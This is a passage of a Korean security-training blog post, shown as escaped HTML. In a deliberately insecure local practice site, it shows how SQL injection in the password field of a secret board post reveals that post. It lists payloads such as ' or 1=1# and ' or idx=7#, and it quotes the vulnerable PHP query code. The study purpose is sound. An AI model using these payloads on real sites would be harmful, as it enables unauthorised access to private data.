data-origin-height=&quot;144&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;해시함수가 적용된 패스워드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습2-3 인증 우회 공격을 통한 비밀글 무단 열람 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin 관리자 계정으로 로그인 후 비밀글을 작성한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비밀글 작성 후 인증 우회 공격을 통해서 타 사용자가 해당 게시글을 열람해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 admin 계정으로 로그인 후 비밀글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;963&quot; data-origin-height=&quot;873&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkxiEZ/btsK50OF9ah/C8ak53vcp2KASrG9Y8izwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkxiEZ/btsK50OF9ah/C8ak53vcp2KASrG9Y8izwK/img.png&quot; data-alt=&quot;비밀글 작성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkxiEZ/btsK50OF9ah/C8ak53vcp2KASrG9Y8izwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkxiEZ%2FbtsK50OF9ah%2FC8ak53vcp2KASrG9Y8izwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;963&quot; height=&quot;873&quot; data-origin-width=&quot;963&quot; data-origin-height=&quot;873&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;비밀글 작성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;399&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bn2zhp/btsK7EKudBJ/9k77pmwKHUKcltMKGplR4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bn2zhp/btsK7EKudBJ/9k77pmwKHUKcltMKGplR4k/img.png&quot; data-alt=&quot;비밀글&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bn2zhp/btsK7EKudBJ/9k77pmwKHUKcltMKGplR4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbn2zhp%2FbtsK7EKudBJ%2F9k77pmwKHUKcltMKGplR4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;971&quot; height=&quot;399&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;399&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;비밀글&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin 계정 로그아웃 후 비밀글 열람을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비밀글을 열람하려면 작성자가 설정한 비밀번호를 알아야하는데, 이때 비밀글의 Password 칸에 SQL Injection을 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Injection을 시도하기 전에 Server Side에 SQL 구문이 어떻게 형성되어 있는지 생각해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from board where idx='' and password=''; 이렇게 작성되어 있을것으로 예상된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 password가 md5가 적용이 안되어 있는 상태라면 password 칸에 터미네이팅 방식으로 &lt;b&gt;' or 1=1#&lt;/b&gt; 을 입력하면 비밀글 열람이 가능하다. (해시함수를 어플리케이션단에서 적용하면 공격이 불가능하다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;966&quot; data-origin-height=&quot;608&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CLMTL/btsK5BIGllu/McuqNCbncVGiwvUkG9Iok0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CLMTL/btsK5BIGllu/McuqNCbncVGiwvUkG9Iok0/img.png&quot; data-alt=&quot;비밀글 열람 성공&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CLMTL/btsK5BIGllu/McuqNCbncVGiwvUkG9Iok0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCLMTL%2FbtsK5BIGllu%2FMcuqNCbncVGiwvUkG9Iok0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;966&quot; height=&quot;608&quot; data-origin-width=&quot;966&quot; data-origin-height=&quot;608&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;비밀글 열람 성공&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Server Side에 설정된 예상 쿼리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where idx='' and password='';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;password 칸에 입력한 SQL Injection 구문&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; ' or 1=1#&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; ' or 1=1 --&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; ' or 1=1 or '1'='1&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 현재 비밀글 열람이 가능한 이유는 전체 게시글 중에 비밀글만 있기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from board where idx=5 and password='&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;' or 1=1#&lt;/span&gt;&lt;/b&gt;';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; idx 값과 상관없이 참이 되므로 모든 게시글이 조회된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 비밀글이 최상위 레코드에 존재할 때만 비밀글 열람이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 다수의 게시글이 존재한다면 비밀글 열람을 어떻게 해야 할까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비밀글이 최상위 게시글이 아닌 다른 일반 게시글이 여러 개 있으면 어떻게 비밀글 열람을 할까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 다른 일반 게시글 생성 후 비밀 게시글을 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 일반 게시글이 최상위 레코드에 존재하게 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;462&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d5Ak3w/btsK50utCCv/vo1FTmwqOrItqWXuUyhFq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d5Ak3w/btsK50utCCv/vo1FTmwqOrItqWXuUyhFq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d5Ak3w/btsK50utCCv/vo1FTmwqOrItqWXuUyhFq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd5Ak3w%2FbtsK50utCCv%2Fvo1FTmwqOrItqWXuUyhFq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;969&quot; height=&quot;462&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;462&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존처럼 비밀 게시글 password칸에 SQL Injection 쿼리 &lt;b&gt;' or 1=1#&lt;/b&gt; 을 입력하니 일반 게시글로 열람되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;497&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FmuPg/btsK71ZDY4l/HnMitmQPBezpaxv7XiysIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FmuPg/btsK71ZDY4l/HnMitmQPBezpaxv7XiysIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FmuPg/btsK71ZDY4l/HnMitmQPBezpaxv7XiysIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFmuPg%2FbtsK71ZDY4l%2FHnMitmQPBezpaxv7XiysIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;970&quot; height=&quot;497&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;497&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;611&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhJjnI/btsK52Z6yUG/GWkrPPuAGuqLMzPTBxV430/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhJjnI/btsK52Z6yUG/GWkrPPuAGuqLMzPTBxV430/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhJjnI/btsK52Z6yUG/GWkrPPuAGuqLMzPTBxV430/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhJjnI%2FbtsK52Z6yUG%2FGWkrPPuAGuqLMzPTBxV430%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;972&quot; height=&quot;611&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;611&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최상위 레코드에 비밀글이 아닌 일반 게시글이 존재하므로 비밀글의 Password 칸에 SQL Injection을 해도 일반 게시글이 열람된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드를 확인하기 위해 view.php를 연다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 위치: C:\APM_Setup\htdocs\insecure_website&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; view.php 소스코드 일부)&lt;/p&gt;
&lt;pre id=&quot;code_1733299862002&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	$db_conn = mysql_conn();
	$idx = $_REQUEST[&quot;idx&quot;];
	$password = $_POST[&quot;password&quot;];

	if(empty($password)) {
		$query = &quot;select * from {$tb_name} where idx={$idx} and secret='n'&quot;;
	} else {
		$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
	}
	
	$result = $db_conn-&amp;gt;query($query);
	$num = $result-&amp;gt;num_rows;
?&amp;gt;
    &amp;lt;div class=&quot;pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center&quot;&amp;gt;
		&amp;lt;h1 class=&quot;display-4&quot;&amp;gt;View Page&amp;lt;/h1&amp;gt;
    	&amp;lt;hr&amp;gt;
    &amp;lt;/div&amp;gt;
    
    &amp;lt;div class=&quot;container&quot;&amp;gt;
	&amp;lt;?
	if($num != 0) {
		$row = $result-&amp;gt;fetch_assoc();
	?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;num_rows() - 레코드 개수를 반환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fetch_assoc()&amp;nbsp;-&amp;nbsp;반환된&amp;nbsp;결과를&amp;nbsp;배열에&amp;nbsp;저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드를 보면 select * from {$tb_name} where idx={$idx} and password='{$password}' 로 확인되며, 이전에 추측한 select * from board where idx='' and password=''; 와 유사하다는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL 쿼리가 실행이 된 후 최상위 레코드가 반환이 되는 것을 확인할 수 있다. &amp;rarr; $row = $result-&amp;gt;fetch_assoc();&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL에서 SQL Injection 시 작성한 쿼리를 SQL 구문으로 조회 하면 아래와 같이 전체 레코드가 조회되며, idx가 6인 일반게시글이 최상위 레코드인 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from insecure_board where idx=7 and password='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;' or 1=1#&lt;/b&gt;&lt;/span&gt;';&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1145&quot; data-origin-height=&quot;159&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDkDkj/btsK7PE6qUL/qS2q5kyK0ban5SrUl2GqO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDkDkj/btsK7PE6qUL/qS2q5kyK0ban5SrUl2GqO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDkDkj/btsK7PE6qUL/qS2q5kyK0ban5SrUl2GqO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDkDkj%2FbtsK7PE6qUL%2FqS2q5kyK0ban5SrUl2GqO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1145&quot; height=&quot;159&quot; data-origin-width=&quot;1145&quot; data-origin-height=&quot;159&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection 공격을 할 때 비밀게시글이 항상 최상위 레코드에 있다는 보장이 없으므로, 비밀 게시글로 타겟을 정해서 열람해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떻게 비밀 게시글을 타겟을 정해서 열람 할 수 있을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 웹 사이트의 idx 파라미터와 DB에서 idx 컬럼이 동일하다는 것을 유추해서 웹 사이트의 idx 값을 조작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;' or idx=7 and 1=1#&lt;/b&gt;&amp;nbsp; 또는 &lt;b&gt;' or idx=7 and '1'='1&lt;/b&gt;&amp;nbsp;으로 SQL Injection 구문을 변경해서 비밀게시글 Password 칸에 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변경된 SQL Injection 구문은 DB에 다음과 같은 SQL 쿼리로 질의하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from insecure_board where idx=7 and password='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;'or idx=7 and 1=1#&lt;/b&gt;&lt;/span&gt;';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from insecure_board where idx=7 and password='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;'or idx=7 and '1'='1&lt;/b&gt;&lt;/span&gt;';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; idx=7 and password='' 는 거짓이 되며, or idx=7 and 1=1#은 참이 되므로 idx=7을 타겟팅한 게시글을 열람하게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; ' or idx=7 or 1=1# 을 하게되면, idx가 7이 아니여도 모든 레코드가 출력되므로 최상위 레코드인 일반게시글이 열람된다. 그러므로 AND 조건으로 idx=7 로 타게팅해서 SQL Injecition 을 시도해야 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;634&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZjKyt/btsK6TuKCEq/FGbBdW3J1kGXukMRXBpvI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZjKyt/btsK6TuKCEq/FGbBdW3J1kGXukMRXBpvI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZjKyt/btsK6TuKCEq/FGbBdW3J1kGXukMRXBpvI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZjKyt%2FbtsK6TuKCEq%2FFGbBdW3J1kGXukMRXBpvI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;968&quot; height=&quot;634&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;634&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL에서 OR 구문 사용하여 SQL 쿼리로 조회 시 모든 게시글이 조회된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1143&quot; data-origin-height=&quot;359&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7J0cx/btsK7aC0l7W/zvpkwwSa3PAyQG9XJGJrK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7J0cx/btsK7aC0l7W/zvpkwwSa3PAyQG9XJGJrK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7J0cx/btsK7aC0l7W/zvpkwwSa3PAyQG9XJGJrK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7J0cx%2FbtsK7aC0l7W%2FzvpkwwSa3PAyQG9XJGJrK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1143&quot; height=&quot;359&quot; data-origin-width=&quot;1143&quot; data-origin-height=&quot;359&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL에서 AND 구문을 사용하여 SQL 쿼리로 조회 시 다음과 같이 idx=7 게시글이 조회된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from insecure_board where idx=7 and password='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;'or idx=7#&lt;/b&gt;&lt;/span&gt;';&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;315&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b80HyM/btsK74vnVz0/P1o8hqro8jpnAxZz2Y4p10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b80HyM/btsK74vnVz0/P1o8hqro8jpnAxZz2Y4p10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b80HyM/btsK74vnVz0/P1o8hqro8jpnAxZz2Y4p10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb80HyM%2FbtsK74vnVz0%2FP1o8hqro8jpnAxZz2Y4p10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;315&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;315&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좀 더 간단히 SQL Injection 구문을 사용한다면 ' or idx=7# 을 입력하여 터미네이팅 방식을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL 에서 조회 시 idx가 7인 게시글이 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;203&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yiDoq/btsK6SilZXw/YbgiTe2pScsbW0sBVjKyl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yiDoq/btsK6SilZXw/YbgiTe2pScsbW0sBVjKyl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yiDoq/btsK6SilZXw/YbgiTe2pScsbW0sBVjKyl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyiDoq%2FbtsK6SilZXw%2FYbgiTe2pScsbW0sBVjKyl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1118&quot; height=&quot;203&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;203&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무조건 참을 만들어서 인증 우회를 하는 것이 아닌, 목표로 하는 게시글을 열람하기 위해서 SQL Injection 쿼리를 어떻게 작성해야 하며, Server Side 에서는 어떤식으로 코드가 작성되어 있는지 고민해볼 필요가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습2-4 인증 우회 공격을 통한 게시글 무단 삭제 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 계정으로 insecure_website 로그인하여 다른 계정으로 작성한 게시글을 삭제 해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 게시글을 먼저 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 계정으로 작성한 게시글은 클릭했을 때 Modify(수정)와 Delete(삭제) 버튼이 없지만, test 계정으로 작성한 계정에서는 확인할 수 있다. 이를 통해 Modify 와 Delete 버튼을 클릭했을때의 액션을 확인하고 다른 게시글에도 똑같이 적용하면 될 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;609&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEdnI0/btsK7SWiSOH/r2mMBPMquVDQywcSH56tu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEdnI0/btsK7SWiSOH/r2mMBPMquVDQywcSH56tu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEdnI0/btsK7SWiSOH/r2mMBPMquVDQywcSH56tu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEdnI0%2FbtsK7SWiSOH%2Fr2mMBPMquVDQywcSH56tu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;972&quot; height=&quot;609&quot; data-origin-width=&quot;972&quot; 